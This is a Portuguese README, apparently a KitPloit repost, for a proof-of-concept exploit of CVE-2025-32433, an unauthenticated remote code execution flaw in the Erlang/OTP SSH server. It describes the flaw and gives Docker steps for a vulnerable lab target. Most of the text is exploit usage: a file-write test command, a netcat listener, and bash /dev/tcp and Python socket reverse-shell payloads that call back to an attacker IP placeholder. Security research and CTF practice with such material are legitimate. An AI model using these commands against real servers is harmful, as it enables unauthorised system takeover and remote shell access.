CVE-2025-32433: PoC de RCE não autenticado no SSH do Erlang/OTP

Este repositório contém uma Prova de Conceito (PoC) para a CVE-2025-32433, uma vulnerabilidade crítica de Execução Remota de Código (RCE) não autenticada que afeta a implementação do servidor SSH no Erlang/Open Telecom Platform (OTP). Esta PoC foi projetada para fins educacionais, pesquisa de segurança e desafios Capture The Flag (CTF).

⚠️ Aviso - Apenas para Uso Educacional e Ético ⚠️

Esta PoC é fornecida estritamente para fins educacionais e de hacking ético. Ela se destina ao uso em ambientes controlados, como máquinas virtuais isoladas ou plataformas CTF, onde você tenha permissão explícita para realizar testes de segurança.

NÃO use esta PoC contra qualquer sistema que você não possua ou para o qual não tenha autorização explícita e por escrito para testar. O acesso não autorizado ou a exploração de sistemas de computador é ilegal e antiético. O autor e os mantenedores deste repositório não são responsáveis por qualquer uso indevido ou dano causado por este código.

📊 Visão Geral da Vulnerabilidade

Detalhes Técnicos

A vulnerabilidade reside na forma como o servidor SSH do Erlang/OTP processa as mensagens do protocolo SSH durante a fase de pré-autenticação. Especificamente, o servidor não aplica corretamente a sequência do protocolo SSH, permitindo que um atacante remoto não autenticado envie mensagens SSH_MSG_CHANNEL_OPEN e SSH_MSG_CHANNEL_REQUEST maliciosas. Isso permite que o atacante abra um canal de sessão e execute comandos arbitrários do Erlang (que, por sua vez, podem executar comandos do sistema) sem fornecer credenciais válidas. Se o daemon SSH for executado com privilégios elevados (por exemplo, como root), a exploração bem-sucedida pode levar ao comprometimento total do sistema.

🛠️ Configuração: Construindo o Ambiente Vulnerável (Docker)

A maneira mais fácil de configurar um servidor SSH do Erlang/OTP vulnerável é usando o Dockerfile fornecido.

1. Clone este repositório:

   root@kitploit:~

   git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
   cd CVE-2025-32433-PoC
   

2. Construa a imagem Docker: Este comando compila uma versão vulnerável do Erlang/OTP (OTP-26.2.5.10) e configura o servidor SSH.

   root@kitploit:~

   docker build -t erlang-ssh-vulnerable .
   

3. Execute o contêiner do servidor vulnerável: Isso inicia o servidor SSH do Erlang/OTP em segundo plano, ouvindo na porta 2222.

   root@kitploit:~

   docker run -d --name erlang-ssh-target -p 2222:2222 erlang-ssh-vulnerable
   

   • -d: Executa o contêiner em modo destacado (detached).
   • --name erlang-ssh-target: Atribui um nome ao contêiner para facilitar o gerenciamento.
   • -p 2222:2222: Mapeia a porta 2222 do host para a porta 2222 do contêiner.

🚀 Uso: Executando o Script PoC

O script cve_2025_32433_exploit.py pode ser executado interativamente ou com argumentos de linha de comando.

Modo Interativo

Se você executar o script sem argumentos, ele solicitará as informações necessárias.

1. Certifique-se de que o contêiner Docker vulnerável esteja em execução.
2. Execute o script Python PoC:
   root@kitploit:~

   python3 cve_2025_32433_exploit.py
   

3. Siga os prompts interativos: O script perguntará:
   • Endereço IP do alvo: (ex.: 127.0.0.1 se estiver atacando o Docker na mesma máquina).
   • Porta do alvo: (ex.: 2222).
   • Comando a executar: (Deixe em branco para o comando de teste padrão).

Exemplo 1: Testar RCE Criando um Arquivo

Este é o comportamento padrão se você deixar o prompt de comando em branco no modo interativo. Ele cria o arquivo /tmp/note.txt no alvo.

1. Execute o exploit:
   root@kitploit:~

   python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'file:write_file("/tmp/note.txt", "Exploit Ran!").'
   

2. Verifique se o arquivo foi criado no alvo:
   root@kitploit:~

   docker exec -it erlang-ssh-target cat /tmp/note.txt
   

   Você deve ver a saída: Exploit Ran!

Exemplo 2: Obtendo um Reverse Shell

Para obter um reverse shell, você deve fornecer um payload que se conecte de volta a um listener na sua máquina.

1. Inicie um Netcat listener na sua máquina atacante (ex.: Kali Linux) na porta escolhida.

   root@kitploit:~

   nc -lvnp 4444
   

   Importante: Certifique-se de que seu firewall (ex.: ufw) na máquina atacante permita conexões de entrada nesta porta. sudo ufw allow 4444/tcp

2. Execute o script PoC com o payload de reverse shell. Substitua YOUR_ATTACKER_IP pelo endereço IP da sua máquina.

   • Reverse Shell Bash:

     root@kitploit:~

     python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1").'
     

   • Reverse Shell Python (geralmente mais confiável):

     root@kitploit:~

     python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);''").'
     

3. Verifique seu Netcat listener. Você deve receber uma conexão e obter um shell no contêiner alvo.

🧹 Limpeza

Para parar e remover o contêiner e a imagem Docker:

# Parar e remover o contêiner
docker stop erlang-ssh-target
docker rm erlang-ssh-target

# Opcional: remover também a imagem
docker rmi erlang-ssh-vulnerable